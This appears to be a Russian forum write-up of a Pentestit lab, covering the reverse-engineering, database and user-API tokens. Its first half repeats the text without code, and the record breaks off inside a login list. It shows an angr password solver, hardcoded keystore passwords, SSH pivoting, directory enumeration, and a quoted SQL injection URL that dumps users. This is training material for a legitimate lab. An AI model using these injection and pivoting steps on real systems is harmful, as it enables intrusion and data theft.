Ну что, дорогие друзья. Продолжим врайтап Pentestit Lab 12 - для начинающих (часть 3)
Тем, кто пропустил предыдущие части: 1 и 2
REVERSE Token
В репозитории мы нашли bin файл
Декомпилим его в
Далее в бинарнике находим:
Долго думаем, что же мы нашли и где же этот токен.
Пытаемся найти подвох в найденных base64 кусках, но там нет того, к чему мы привыкли решая CTF ранее.
Опять долго думаем, а причина в том, что нужно обладать навыками дизасемблирования, чтобы легко и не принужденно выполнить это задание. Ну и вспомним, что даже самые умные пользуются подсказкой - "помощь друга", в телевизоре видел, "звонок другу" называется...
Один из англоязычных участников, дал небольшой хинт нашему знакомому 3n.doc, который в последствии привел в соответствие полученный хинт: переведу как смогу - По коду идёт проверка cmp dl, al - в ал уже готовый аски код символа. Так нам 32 раза нужно его словить и мы получим токен.
Ну что, приступим к разбору. Есть наборы символов по 32 в строке: Точка старта: ...aad4 (MAIN)
из которых один из символов соответствует одному из символов пароля.
После передачи в регистры данных о тексте и получения введенного пароля, программа проверяет каждый фрагмент посимвольно, стараясь запутать хакера.
Чтобы отловить посимвольную передачу, надо поставить брейкпоинт или так называемую "точку останова" на функции: "cmp dl, al", где dl - значение символа из нашего пароля, а al значение из "Нужного пароля":
После установки брейкпоинта делаем старт программы и ждем, когда она остановится на этой точке:
Пароль запросило, вводим произвольный. В моем случае 1111111111111111111111111111111111111111111111111111111111111111![Big grin :D :D](data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7)
Отлично, брейкпоинт словил сравнение пароля, как видно ниже: al = 0x62, а dl = 0x31, в частности, если пойти на следующий шаг, программа закроется с выводом ACCESS DENIED, так как символ не совпадает.
Меняем значение нашего RDX(Нашего символа в регистре) на нужные (62 в таблице) 0x62 и делаем следующий шаг:
Очередной символ и та же самая операция.
Итого 32 символа.
Конвертим из хекса в текст и получаем токен.
(Ребята, кто не усвоил урок, просьба сделайте все по человечески, без скрипта):
________________________________________
DB Token
Сам хост 172.16.0.20 db.test.lab - не сканируется в vpn сети.
Еще в репозитории мы нашли client.jar.
В найденной JAVA client.jar находим main.java:
Вначале задаются параметры для SSL соединения - keystore(собственные ключи и сертификаты) и truststore(корневые сертификаты доверенных издателей).
На консоль выводится 4 пункта для выбора пользователя, в зависимости от введенной цифры инициализируется объект тип reqvest, этот объект используется
для формирования JSON объекта.
Если ввели 1, то формируется такой JSON Stirng:
Подымается SSL соединение с хостом 172.16.0.55 по порту 5074. На этот сокет отправляется сформированная строка содержащая JSON структуру. Выводится в консоль результат и выполнение программы завершается.
IP указанный там 172.16.0.55 не сканируется, нужно попробовать переписать коннектор для подключения к БД 172.16.0.30. Но пока это только мои предположения.
Еще данные о неком домене в tr_cl:
Пробуем подрубиться с разных подсетей и хостов к которым уже был доступ при прохождении токенов.
!А еще, очень Важно обратить внимание на пользователей указанных в коде new Reqvest("info"); и второго. Пройдя такой путь, мы понимаем, что такие пользователи фигурировали только в токене подсети 192.168... где мы находили в /etc/cron.weekly задание man-db и другие зацепки типа:
Подключаемся к хосту и щупаем коннект:
Замечательно, порт открыт но брыкается. Пробуем пробросить порт:
Для тех кто решал иначе и пробрасывал всю сетку используя sshuttle - я делал так же, но статья для новичков...
Когда подберем логин и пароль верный из прошлых, попадем:
Грепаем и думаем, что токен где-то на поверхности, как и юзер токен. Ан нет...
Пробуем подрубиться к БД:
Многочисленные попытки подключиться к БД с проброшенного порта отбривали и я понял, что выход только подключение через коннектор client.jar т.к. в нем есть серт и нужен коннект через SSL по TCP. По коду виден и пароль подключения и пароль сертификата и пользователи под которыми можно подрубаться. Мои неважные знания java только усугубляли ситуацию.
Еще один очень хороший человек - cutoffurmind давал не просто подсказки, а в принципе стал наставником в выполнении предстоящих работ. Он является разработчиком, в том числе на java и для него этот токен был не столь сложен, для меня токен и дорога к нему вообще сравнима с безумием. Представлю ниже его решение.
Немного замудрено все, но весело)
Вкратце - Для удобства декомпилил jar, потом загнал код в IDE, можно в eclipse или idea.
По сути клиент перегоняет json на сервер, в параметре там и есть инъекция. Тут или каким-то другим клиентом коннектиться и вручную высылать данные, что будет сложно, нужно учесть сертификат ssl и пароль к нему.
Итак:
Декомпилим jar на
Импортируем полученную папку с исходниками в intellij idea или eclipse. У меня intellij idea
import project
from existing sources
!Нужно, чтобы на компе был настроен java sdk
Получаем проект:
На 82 строке в main декомпилер натворил дел и исправляем это:
Должно быть:
Пытаемся сбилдить проект и получаем ошибку в файлах json библиотеки:
Декомпилер там что-то тоже повредил, поэтому удаляем org.json.simple из проекта:
Идем в настройки проекта или F4:
Во вкладке modules - dependencies жмем внизу плюсик:
Выбираем первый и указываем изначальный client.jar. Сохраняем и видим, что import org.json.simple.JSONObject; в Reqvest.java больше не ругается.
Дальше пробрасываем 172.16.0.55 5074 через ssh себе на локалхост:
Идем в Main.java и меняем адрес подключения:
Пробуем запустить:
Жмем 2 и получаем список из хелпдеска:
Ничего примечательного, ожидал большего![Smile :) :)](data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7)
Дальше пробуем вклиниться в параметр который передается на сервер. В данном случае идет запрос на данные от info, в формировании запроса участвует класс Reqvest:
А именно данный конструктор:
Пробуем так:
Запускаем, жмем 2, счастья не видим, пробуем снова:
Запускаем, жмем 2, видим что запросов нет, попробуем подобрать через union select:
Вуаля!
Дальше через information_schema узнаем о таблице token с полем token и забираем его...
Благодарим cutoffurmind за представленное решение!
________________________________________
Ну что, осталось 4 токена: API, User API, Image, Admin
________________________________________
UserAPI Token
Гуляя по сетке натыкаемся на сервис
Проверим субкаталоги:
Как мы видим только 2 формы contact и support откликаются без ошибок.
- тут какая то стеганография 4 разных изображения с одним и тем же значением support_team
Внимательно анализируем основную страницу:
Вот полный код:
Ищем пути и подходы:
Пробуем сходить в почту и проверить догадки:
Пробуем проэксплуатировать:
У же лучше.
Тут можем попробовать подобрать логин. Составил словарик с имеющихся юзеров и всех паролей и токенов добавив к стандартному словарику и Бурп не дал результата. Ищем дальше...
Раз стандартные словарные пользователи и все имеющиеся у нас не брутятся, пробуем предположить что найденный support_team это юзер. Тут же понимаем после брута паролей, что нужно пробовать стандартную уязвимость с кавычкой и видим следующее:
Мы получили целую кучу юзеров (221 шт.), теперь попробуем воткнуть списки в рекавери.
Так ответ 200 для всех, пробуем поиграть с поиском пары user/ login... это не быстрый процесс...
Нужно попробовать Patator. Нашли...
Пробуем восстановить пароль для найденной пары:
Как только мы сменили пароль, вся сеть отвалилась, думаем...
В итоге пробовал использовать полученный логин и пароль для авторизации: уточнение, указанный пароль на скриншоте подменен на другой для сокрытия токена, получите его сами, для того, чтобы закрепить предмет.
Любой пароль в форме /login выдает такой токен. Значит эта пара не сюда.
Ищем дальше и решаем DB...
Вчера, имея в руках пароль и попробовав авторизоваться мы получали нулевой токен. Сегодня утром, еще один хороший человек с компании Pacifica - Кайрат нашел решение иным путем, он написал скрипт:
Который автоматизировал поиск пары логина и юзера. Вспомните как долго у нас искал Burp Suite.
Далее нам всего лишь остается правильно сконвертировать пароль в URL т.к. он имеет спецсимволы и токен у нас...
Осталось 3 токена: API, Admin, Image
Ну вот мы и подошли к сомому сладенькому. Давайте добъем эти интересные 3 токена в последней части под №4...
Тем, кто пропустил предыдущие части: 1 и 2
REVERSE Token
В репозитории мы нашли bin файл
Декомпилим его в
Ссылка скрыта от гостей
Далее в бинарнике находим:
Address String
0x238 /lib64/ld-linux-x86-64.so.2
0x3a9 libc.so.6
0x3b3 __isoc99_scanf
0x3c2 puts
0x3c7 printf
0x3ce __cxa_finalize
0x3dd __libc_start_main
0x3ef _ITM_deregisterTMCloneTable
0x40b __gmon_start__
0x41a _Jv_RegisterClasses
0x42e _ITM_registerTMCloneTable
0x448 GLIBC_2.7
0x452 GLIBC_2.2.5
0xb50 AWAVA
0xb57 AUATL
0xbaa []A\A]A^A_
0xbd4 PASSWORD:
0xbdf %32s
0xbe4 ACCESS GRANTED!
0xbf4 ACCESS DENIED!
0xcaf ;*3$"
0x201060 qk0Q5ZmS3au5RkcPuyotTjtg3G0bux3r
0x2010a0 Qn8AiYpfA4rPUrL9Oxn1ET5vG8h7o7xb
0x2010e0 a1aX9SLLbe3Fksvqtv7YhRoqtaw91ezu
0x201120 nFb4dqPjHNnUoGJhC9u7gBdb9YWyCBxL
0x201160 HNnwB0GQNeVL5CGzMWjpuKfxDfqVPb1K
0x2011a0 3Z95TWpP8AjUCROxVRWwdciYZeALUOdX
0x2011e0 s9ZYhZfC1QJ648ks4T2osoLzdFizYgTN
0x201220 iAp6GHesRyGqYFR2nrI6eVsRBCg8wwuC
0x201260 kheitdX7MaAJUmiUcCKyRY8S3OCL6EYU
0x2012a0 ZGu3qyV3h0SjtvcXydEFkDAY614ag0Wz
0x2012e0 Qm0WDrht1fHYMCwNJMX7JzyJZgs4uT44
0x201320 fMbNVxtoCJPmqaioEFrCNCAqUJJey5t5
0x201360 9gnkzkuM7bp3nYaqneAL5PErwSZoDdHR
0x2013a0 pDCZ4rifJzZbXC3JCcdG8VXm4sb2dUHg
0x2013e0 cmHunusgo6mLm1k2mECv4twf9NFotmh0
0x201420 SH09vwZGljB1gBuxiEEWBVAyoEtMMfwH
0x201460 AWBbrLGVxIxW3SwxdLzGaJtwnTPkS0CI
0x2014a0 BEE08jI0dF1WwDZZjTMS3wnR8gn1Yl0P
0x2014e0 2wI2d3MAhcASlc7Jh3glOlRzHsCP6aYG
0x201520 PRkuaCnSV6PvKZR69c6ZdZmmSXcJhXaI
0x201560 fV3Z3hTeDSkDcB3tA6ErgkfACczshjOk
0x2015a0 RG2UK0t01h6Iu1mYoYNMwaDYOFLDdKbb
0x2015e0 h5RsV2d5xxvva4hNQCKAeImgyYv2VGsn
0x201620 U2UBCWM6LMfjTrPViCvE2iCoy2HFGlZu
0x201660 1E0kpCL4HsvT08R7MS1b7QOHmGjPRjej
0x2016a0 5rHeHjWfheNpO6fOcRKo8UaBIYy5Elmm
0x2016e0 9hNjolVactGp6W2ANee4x3TqQbhomXDC
0x201720 jxV1ieQfSW7jJBcBCNeEDy0tN0WKUzkX
0x201760 ZQ6jg2CvZYAIr5jJUqoPBoKmgKEvbc2J
0x2017a0 bPnjBvCFSJOWjZQ4YTt8yl9Qg2iZ4BjC
0x2017e0 gamRgM6VyyM9UyvaigVutUkAo9xWcUmb
0x201820 zAICHvw3womkL80wKKeJG5nbkQR0ziw7
Долго думаем, что же мы нашли и где же этот токен.
Пытаемся найти подвох в найденных base64 кусках, но там нет того, к чему мы привыкли решая CTF ранее.
Опять долго думаем, а причина в том, что нужно обладать навыками дизасемблирования, чтобы легко и не принужденно выполнить это задание. Ну и вспомним, что даже самые умные пользуются подсказкой - "помощь друга", в телевизоре видел, "звонок другу" называется...
Один из англоязычных участников, дал небольшой хинт нашему знакомому 3n.doc, который в последствии привел в соответствие полученный хинт: переведу как смогу - По коду идёт проверка cmp dl, al - в ал уже готовый аски код символа. Так нам 32 раза нужно его словить и мы получим токен.
Ну что, приступим к разбору. Есть наборы символов по 32 в строке: Точка старта: ...aad4 (MAIN)
из которых один из символов соответствует одному из символов пароля.
После передачи в регистры данных о тексте и получения введенного пароля, программа проверяет каждый фрагмент посимвольно, стараясь запутать хакера.
Чтобы отловить посимвольную передачу, надо поставить брейкпоинт или так называемую "точку останова" на функции: "cmp dl, al", где dl - значение символа из нашего пароля, а al значение из "Нужного пароля":
После установки брейкпоинта делаем старт программы и ждем, когда она остановится на этой точке:
Пароль запросило, вводим произвольный. В моем случае 1111111111111111111111111111111111111111111111111111111111111111
Очередной символ и та же самая операция.
Итого 32 символа.
Конвертим из хекса в текст и получаем токен.
![pentestit12-reverse_token.jpg](/proxy.php?image=https%3A%2F%2Fsecurixy.kz%2Fuploads%2Fpentestit12-reverse_token.jpg&hash=df9c8abe9342468bf03795e358f67c6c)
(Ребята, кто не усвоил урок, просьба сделайте все по человечески, без скрипта):
Python:
import angr
import time
start = time.time()
proj = angr.Project('./bin')
simgr = proj.factory.simgr()
simgr.explore(find=lambda s: b"ACCESS GRANTED" in s.posix.dumps(1))
s = simgr.found[0]
print(s.posix.dumps(0))
finish = time.time()
print("time: " + str(finish - start))
DB Token
Сам хост 172.16.0.20 db.test.lab - не сканируется в vpn сети.
Еще в репозитории мы нашли client.jar.
В найденной JAVA client.jar находим main.java:
Такс, это консольное приложение.---------------------------------------------------------------------
package lab.test.client;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.IOException;
import java.io.PrintStream;
import java.net.Socket;
import lab.test.client.Data.Reqvest;
public class Main
{
private static final int port = 5074;
private static final String ip = "172.16.0.55";
public Main() {}
private static String keySt = "cl1.p12";
private static String trSt = "tr_cl";
private static String keyPas = "12345";
private static String keyForm = "PKCS12";
private static String trPas = "123456";
public static void main(String[] args) throws IOException, java.net.UnknownHostException {
keySt = createTempFile(keySt);
trSt = createTempFile(trSt);
System.setProperty("javax.net.ssl.keyStore", keySt);
System.setProperty("javax.net.ssl.keyStorePassword", keyPas);
System.setProperty("javax.net.ssl.keyStoreType", keyForm);
System.setProperty("javax.net.ssl.trustStore", trSt);
System.setProperty("javax.net.ssl.trustStorePassword", trPas);
javax.net.ssl.SSLSocketFactory sslSocketFactory = (javax.net.ssl.SSLSocketFactory)javax.net.ssl.SSLSocketFactory.getDefault();
Socket socket = null;
Reqvest reqvest = dialog();
try {
socket = sslSocketFactory.createSocket("172.16.0.55", 5074);
BufferedWriter bf = new BufferedWriter(new java.iutputStreamWriter(socket.getOutputStream()));
BufferedReader br = new BufferedReader(new java.io.InputStreamReader(socket.getInputStream()));
bf.write(reqvest.getJSON());
bf.newLine();
bf.flush();
String tmp = br.readLine();
while (tmp != null) {
System.out.println(tmp);
tmp = br.readLine();
}
bf.close();
socket.close();
}
catch (java.net.UnknownHostException localUnknownHostException) {}catch (IOException localIOException) {}finally
{
if ((socket != null) && (!socket.isClosed())) socket.close();
new File(keySt).delete();
new File(trSt).delete();
}
}
private static String createTempFile(String path) {
File file = new File(path);
if (!file.isFile()) {
try { file = File.createTempFile("tmp_", Long.toString(System.currentTimeMillis()));
java.nio.file.Files.copy((java.io.InputStream)java.util.Objects.requireNonNull(Main.class.getClassLoader().getResourceAsStream(path)), file.toPath(), new java.nio.file.CopyOption[] { java.nio.file.StandardCopyOption.REPLACE_EXISTING });
}
catch (IOException localIOException) {}
}
return file.getAbsolutePath();
}
public static Reqvest dialog() throws IOException
{
System.out.println("Selected option");
System.out.println("1. All requests");
System.out.println("2. All requests by Info");
System.out.println("3. All requests by Sviridov");
System.out.println("4. All not closed request");
BufferedReader reader = new BufferedReader(new java.io.InputStreamReader(System.in));
Reqvest result;
Reqvest result; Reqvest result; Reqvest result; Reqvest result; switch (reader.readLine()) {
case "1":
result = new Reqvest();
break;
case "2":
result = new Reqvest("info");
break;
case "3":
result = new Reqvest("sviridov");
break;
case "4":
result = new Reqvest(2);
break;
default:
result = new Reqvest(-1);
}
return result;
}
}
Вначале задаются параметры для SSL соединения - keystore(собственные ключи и сертификаты) и truststore(корневые сертификаты доверенных издателей).
На консоль выводится 4 пункта для выбора пользователя, в зависимости от введенной цифры инициализируется объект тип reqvest, этот объект используется
для формирования JSON объекта.
Если ввели 1, то формируется такой JSON Stirng:
{
"type":0
}
, если ввели 2
{
"type":1,
"params":"info"
}
Подымается SSL соединение с хостом 172.16.0.55 по порту 5074. На этот сокет отправляется сформированная строка содержащая JSON структуру. Выводится в консоль результат и выполнение программы завершается.
IP указанный там 172.16.0.55 не сканируется, нужно попробовать переписать коннектор для подключения к БД 172.16.0.30. Но пока это только мои предположения.
Еще данные о неком домене в tr_cl:
---------------------------------------------------------------------------
Address String
0x12 server
0x22 X.509
0x74 Default City1
0x8b TEST1
0x9a TEST.LAB1
0xad server0
0xb7 181211193329Z
0xc6 20500605193329Z0d1
0xfc Default City1
0x113 TEST1
0x122 TEST.LAB1
0x135 server0
0x185 4O_L
0x1e5 H\ ~
0x287 k'T|
Ссылка скрыта от гостей
Пробуем подрубиться с разных подсетей и хостов к которым уже был доступ при прохождении токенов.
!А еще, очень Важно обратить внимание на пользователей указанных в коде new Reqvest("info"); и второго. Пройдя такой путь, мы понимаем, что такие пользователи фигурировали только в токене подсети 192.168... где мы находили в /etc/cron.weekly задание man-db и другие зацепки типа:
info@lomonosov:/etc/samba$ cat smb.conf
[global]
workgroup = TEST
realm = TEST.LAB
security = ADS
encrypt passwords = true
dns proxy = no
socket options = TCP_NODELAY
domain master = no
local master = no
preferred master = no
os level = 0
domain logons = no
load printers = no
show add printer wizard = no
printcap name = /dev/null
disable spoolss = yes
idmap config * : range = 10000-20000
idmap config * : backend = tdb
winbind enum groups = yes
winbind enum users = yes
winbind use default domain = yes
template shell = /bin/bash
winbind refresh tickets = yes
// Offline auth
winbind offline logon = yes
winbind cache time = 1800
Подключаемся к хосту и щупаем коннект:
Bash:
telnet 172.16.0.55 5074
Trying 172.16.0.55...
Connected to 172.16.0.55.
Escape character is '^]'.
Connection closed by foreign host.
Замечательно, порт открыт но брыкается. Пробуем пробросить порт:
Bash:
ssh -L 5074:172.16.0.55:5074 info@192.168.0.100
Could not create directory '/home/TEST/info/.ssh'.
The authenticity of host '192.168.0.100 (192.168.0.100)' can't be established.
ECDSA key fingerprint is SHA256:/iQqK4UOhab3e7FBLg1f/SYutsYJCALjp/vqHu3MgGY.
Are you sure you want to continue connecting (yes/no)? y
Please type 'yes' or 'no': yes
Failed to add the host to the list of known hosts (/home/TEST/info/.ssh/known_ho sts).
Authentication failed.
Для тех кто решал иначе и пробрасывал всю сетку используя sshuttle - я делал так же, но статья для новичков...
Когда подберем логин и пароль верный из прошлых, попадем:
Bash:
info@lomonosov:/usr$ ls
bin games include lib local sbin share src
info@lomonosov:/usr$ find | grep token
./lib/x86_64-linux-gnu/samba/libauth-unix-token.so.0
./lib/python2.7/lib2to3/pgen2/tokenize.pyc
./lib/python2.7/lib2to3/pgen2/tokenize.py
./lib/python2.7/lib2to3/pgen2/token.pyc
./lib/python2.7/lib2to3/pgen2/token.py
./lib/python2.7/tokenize.pyc
./lib/python2.7/tokenize.py
./lib/python2.7/token.pyc
./lib/python2.7/dist-packages/dns/tokenizer.pyc
./lib/python2.7/dist-packages/dns/tokenizer.py
./lib/python2.7/token.py
./lib/python3.5/lib2to3/pgen2/tokenize.py
./lib/python3.5/lib2to3/pgen2/__pycache__/token.cpython-35.pyc
./lib/python3.5/lib2to3/pgen2/__pycache__/tokenize.cpython-35.pyc
./lib/python3.5/lib2to3/pgen2/token.py
./lib/python3.5/tokenize.py
./lib/python3.5/__pycache__/token.cpython-35.pyc
./lib/python3.5/__pycache__/tokenize.cpython-35.pyc
./lib/python3.5/token.py
./share/man/man8/ip-token.8.gz
Грепаем и думаем, что токен где-то на поверхности, как и юзер токен. Ан нет...
Пробуем подрубиться к БД:
Bash:
psql -h 172.16.0.55 -p 5074 -U postgres
Многочисленные попытки подключиться к БД с проброшенного порта отбривали и я понял, что выход только подключение через коннектор client.jar т.к. в нем есть серт и нужен коннект через SSL по TCP. По коду виден и пароль подключения и пароль сертификата и пользователи под которыми можно подрубаться. Мои неважные знания java только усугубляли ситуацию.
Еще один очень хороший человек - cutoffurmind давал не просто подсказки, а в принципе стал наставником в выполнении предстоящих работ. Он является разработчиком, в том числе на java и для него этот токен был не столь сложен, для меня токен и дорога к нему вообще сравнима с безумием. Представлю ниже его решение.
Немного замудрено все, но весело)
Вкратце - Для удобства декомпилил jar, потом загнал код в IDE, можно в eclipse или idea.
По сути клиент перегоняет json на сервер, в параметре там и есть инъекция. Тут или каким-то другим клиентом коннектиться и вручную высылать данные, что будет сложно, нужно учесть сертификат ssl и пароль к нему.
Итак:
Декомпилим jar на
Ссылка скрыта от гостей
Импортируем полученную папку с исходниками в intellij idea или eclipse. У меня intellij idea
import project
from existing sources
!Нужно, чтобы на компе был настроен java sdk
Получаем проект:
На 82 строке в main декомпилер натворил дел и исправляем это:
Должно быть:
Пытаемся сбилдить проект и получаем ошибку в файлах json библиотеки:
Декомпилер там что-то тоже повредил, поэтому удаляем org.json.simple из проекта:
Идем в настройки проекта или F4:
Во вкладке modules - dependencies жмем внизу плюсик:
Выбираем первый и указываем изначальный client.jar. Сохраняем и видим, что import org.json.simple.JSONObject; в Reqvest.java больше не ругается.
Дальше пробрасываем 172.16.0.55 5074 через ssh себе на локалхост:
Bash:
ssh -L 5074:172.16.0.55:5074 info@192.168.0.100
Идем в Main.java и меняем адрес подключения:
Пробуем запустить:
Жмем 2 и получаем список из хелпдеска:
Ничего примечательного, ожидал большего
Дальше пробуем вклиниться в параметр который передается на сервер. В данном случае идет запрос на данные от info, в формировании запроса участвует класс Reqvest:
А именно данный конструктор:
![DB-Reqvest.png](/proxy.php?image=https%3A%2F%2Fsecurixy.kz%2Fuploads%2FDB-Reqvest.png&hash=f7c766706938212d046a754a0ed6876f)
Пробуем так:
![DB-Reqvest-NEW.png](/proxy.php?image=https%3A%2F%2Fsecurixy.kz%2Fuploads%2FDB-Reqvest-NEW.png&hash=c660fc0e7b14ad2c3d0aedc81ca2c6c4)
Запускаем, жмем 2, счастья не видим, пробуем снова:
![DB-Reqvest-NEW2.png](/proxy.php?image=https%3A%2F%2Fsecurixy.kz%2Fuploads%2FDB-Reqvest-NEW2.png&hash=29aec718ca76601ed552371429dc025a)
Запускаем, жмем 2, видим что запросов нет, попробуем подобрать через union select:
Вуаля!
Дальше через information_schema узнаем о таблице token с полем token и забираем его...
Благодарим cutoffurmind за представленное решение!
________________________________________
Ну что, осталось 4 токена: API, User API, Image, Admin
________________________________________
UserAPI Token
Гуляя по сетке натыкаемся на сервис
http://172.16.1.20:8000
Проверим субкаталоги:
Bash:
dirsearch.py -u http://172.16.1.20:8000 -e php,txt,bak,json,html,log,conf,cfg,ini,xls,doc,phtml -x 301,403,503,302 --random-agent
_|. _ _ _ _ _ _|_ v0.3.8
(_||| _) (/_(_|| (_| )
Extensions: php, txt, bak, json, html, log, conf, cfg, ini, xls, doc, phtml | Threads: 10 | Wordlist size: 10148
Target: http://172.16.1.20:8000
[22:24:16] Starting:
[22:25:57] 200 - 65B - /contact
[22:26:31] 400 - 122B - /login
[22:26:32] 400 - 122B - /login/
[22:27:17] 200 - 299B - /support
Task Completed
Как мы видим только 2 формы contact и support откликаются без ошибок.
http://172.16.1.20:8000/[B]contact
[/B]"Contact support team if you have any problems with the service."
http://172.16.1.20:8000/[B]support
[/B]- тут какая то стеганография 4 разных изображения с одним и тем же значением support_team
![support3.png](/proxy.php?image=https%3A%2F%2Fsecurixy.kz%2Fuploads%2Fsupport3.png&hash=05cc22d2a9a9df549bb22d67e4c797fb)
![support2-300x300.png](/proxy.php?image=https%3A%2F%2Fsecurixy.kz%2Fuploads%2Fsupport2-300x300.png&hash=a7b2f321ca0dbf06f966cc24652a6be1)
![support.png](/proxy.php?image=https%3A%2F%2Fsecurixy.kz%2Fuploads%2Fsupport.png&hash=8f8139ac4bf61c6edfa4279053ab9c5d)
![image-token-support_team.jpg](/proxy.php?image=https%3A%2F%2Fsecurixy.kz%2Fuploads%2Fimage-token-support_team.jpg&hash=d8878d889eec726bd2b26dc37527aeb5)
Внимательно анализируем основную страницу:
Вот полный код:
{
"404": "The API call you tried to make was not defined. Here's a definition of the API to help you get going",
"documentation": {
"overview": "A basic (single function) API written using hug",
"handlers": {
"/contact": {
"GET": {
"examples": [
"http://uwsgi_api_upstream/contact"
],
"outputs": {
"format": "JSON (Javascript Serialized Object Notation)",
"content_type": "application/json; charset=utf-8"
}
}
},
"/get_user_list": {
"GET": {
"usage": "List user logins",
"outputs": {
"format": "JSON (Javascript Serialized Object Notation)",
"content_type": "application/json; charset=utf-8"
},
"inputs": {
"login": {
"type": "Basic text / string value"
},
"password": {
"type": "Basic text / string value"
}
}
}
},
"/recover_password": {
"GET": {
"usage": "Recover user password",
"outputs": {
"format": "JSON (Javascript Serialized Object Notation)",
"content_type": "application/json; charset=utf-8"
},
"inputs": {
"user": {
"type": "Basic text / string value"
},
"login": {
"type": "Basic text / string value"
}
}
}
},
"/login": {
"GET": {
"usage": "Login",
"outputs": {
"format": "JSON (Javascript Serialized Object Notation)",
"content_type": "application/json; charset=utf-8"
},
"inputs": {
"login": {
"type": "Basic text / string value"
},
"password": {
"type": "Basic text / string value"
}
}
}
},
"/support": {
"GET": {
"examples": [
"http://uwsgi_api_upstream/support"
],
"outputs": {
"format": "A dynamically retrieved file",
"content_type": "file/dynamic"
}
}
}
}
}
}
Ищем пути и подходы:
Bash:
curl -X POST --header 'Content-Type: application/json' --header 'Accept: application/json' --header 'X-picturemaxx-api-key: key' -d '{ \
"password": "pwd", \
"username": "usrname" \
}' 'http://172.16.1.20:8000/get_user_list'
[{"object": "inside an array"}]
Ссылка скрыта от гостей
Bash:
curl -u "info" http://172.16.1.20:8000/contact
Enter host password for user 'info':
"Contact support team if you have any problems with the service."
Bash:
curl -u "info" http://172.16.1.20:8000/get_user_list
GET /user/1 HTTP/1.1
Host: 172.16.1.20:8000
X-Auth-Token: AUTH_TOKEN
Content-type: application/json
Accept: text/plain
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Length: 0
172.16.1.20:8000/get_user_list[{'login':{'type':'info'},'password':{'type':'123456789'}}]
Пробуем сходить в почту и проверить догадки:
Пробуем проэксплуатировать:
http://172.16.1.20:8000/[B]get_user_list?login=root&password=12345678
[/B]"Incorrect login or password!"
У же лучше.
http://172.16.1.20:8000/[B]recover_password?login=info&user=info
[/B]"Restricted area, use valid credentials!"
Тут можем попробовать подобрать логин. Составил словарик с имеющихся юзеров и всех паролей и токенов добавив к стандартному словарику и Бурп не дал результата. Ищем дальше...
Раз стандартные словарные пользователи и все имеющиеся у нас не брутятся, пробуем предположить что найденный support_team это юзер. Тут же понимаем после брута паролей, что нужно пробовать стандартную уязвимость с кавычкой и видим следующее:
http://172.16.1.20:8000/get_user_list?login=support_team%27&password=1%27%20and%20%271=1%27
Мы получили целую кучу юзеров (221 шт.), теперь попробуем воткнуть списки в рекавери.
Так ответ 200 для всех, пробуем поиграть с поиском пары user/ login... это не быстрый процесс...
Нужно попробовать Patator. Нашли...
Пробуем восстановить пароль для найденной пары:
http://172.16.1.20:8000/recover_password?login=тутлогин&user=тутюзер
Как только мы сменили пароль, вся сеть отвалилась, думаем...
В итоге пробовал использовать полученный логин и пароль для авторизации: уточнение, указанный пароль на скриншоте подменен на другой для сокрытия токена, получите его сами, для того, чтобы закрепить предмет.
Любой пароль в форме /login выдает такой токен. Значит эта пара не сюда.
Ищем дальше и решаем DB...
Вчера, имея в руках пароль и попробовав авторизоваться мы получали нулевой токен. Сегодня утром, еще один хороший человек с компании Pacifica - Кайрат нашел решение иным путем, он написал скрипт:
Python:
some = [{"user": "Potapova", "login": "potapova"}, {"user": "Popov", "login": "popov"}, {"user": "Kiselev", "login": "kiselev"}, {"user": "Semenova", "login": "semenova"}, {"user": "Kulikov", "login": "kulikov"}, {"user": "Uvarov", "login": "uvarov"}, {"user": "Blohina", "login": "blohina"}, {"user": "Frolova", "login": "frolova"}, {"user": "Volkova", "login": "volkova"}, {"user": "Morozova", "login": "morozova"}, {"user": "Fadeeva", "login": "fadeeva"}, {"user": "Gorbacheva", "login": "gorbacheva"}, {"user": "Pavlova", "login": "pavlova"}, {"user": "Ivanov", "login": "ivanov"}, {"user": "Safonov", "login": "safonov"}, {"user": "Kalinina", "login": "kalinina"}, {"user": "Krjukova", "login": "krjukova"}, {"user": "Bogdanov", "login": "bogdanov"}, {"user": "Shubin", "login": "shubin"}, {"user": "Lapin", "login": "lapin"}, {"user": "Avdeeva", "login": "avdeeva"}, {"user": "Zaharova", "login": "zaharova"}, {"user": "Kudrjashova", "login": "kudrjashova"}, {"user": "Sysoev", "login": "sysoev"}, {"user": "Panfilov", "login": "panfilov"}, {"user": "Konstantinova", "login": "konstantinova"}, {"user": "Prohorova", "login": "prohorova"}, {"user": "Lukin", "login": "lukin"}, {"user": "Avdeeva", "login": "avdeeva"}, {"user": "Eliseev", "login": "eliseev"}, {"user": "Maksimov", "login": "maksimov"}, {"user": "Aleksandrova", "login": "aleksandrova"}, {"user": "Bobrova", "login": "bobrova"}, {"user": "Ignatova", "login": "ignatova"}, {"user": "Belov", "login": "belov"}, {"user": "Fedorova", "login": "fedorova"}, {"user": "Mihajlova", "login": "mihajlova"}, {"user": "Burov", "login": "burov"}, {"user": "Rogov", "login": "rogov"}, {"user": "Kornilov", "login": "kornilov"}, {"user": "Fedotova", "login": "fedotova"}, {"user": "Nikolaeva", "login": "nikolaeva"}, {"user": "Nikiforov", "login": "nikiforov"}, {"user": "Sobolev", "login": "sobolev"}, {"user": "Molchanova", "login": "molchanova"}, {"user": "Sysoev", "login": "sysoev"}, {"user": "Jakovleva", "login": "jakovleva"}, {"user": "Blinova", "login": "blinova"}, {"user": "Eliseev", "login": "eliseev"}, {"user": "Avdeeva", "login": "avdeeva"}, {"user": "Komissarova", "login": "komissarova"}, {"user": "Kazakova", "login": "kazakova"}, {"user": "Lobanov", "login": "lobanov"}, {"user": "Panova", "login": "panova"}, {"user": "Ovchinnikova", "login": "ovchinnikova"}, {"user": "Bykov", "login": "bykov"}, {"user": "Karpov", "login": "karpov"}, {"user": "Panova", "login": "panova"}, {"user": "Guschina", "login": "guschina"}, {"user": "Korolev", "login": "korolev"}, {"user": "Shilov", "login": "shilov"}, {"user": "Burov", "login": "burov"}, {"user": "Zhuravlev", "login": "zhuravlev"}, {"user": "Fomichev", "login": "fomichev"}, {"user": "Ponomareva", "login": "ponomareva"}, {"user": "Nikiforov", "login": "nikiforov"}, {"user": "Bobrova", "login": 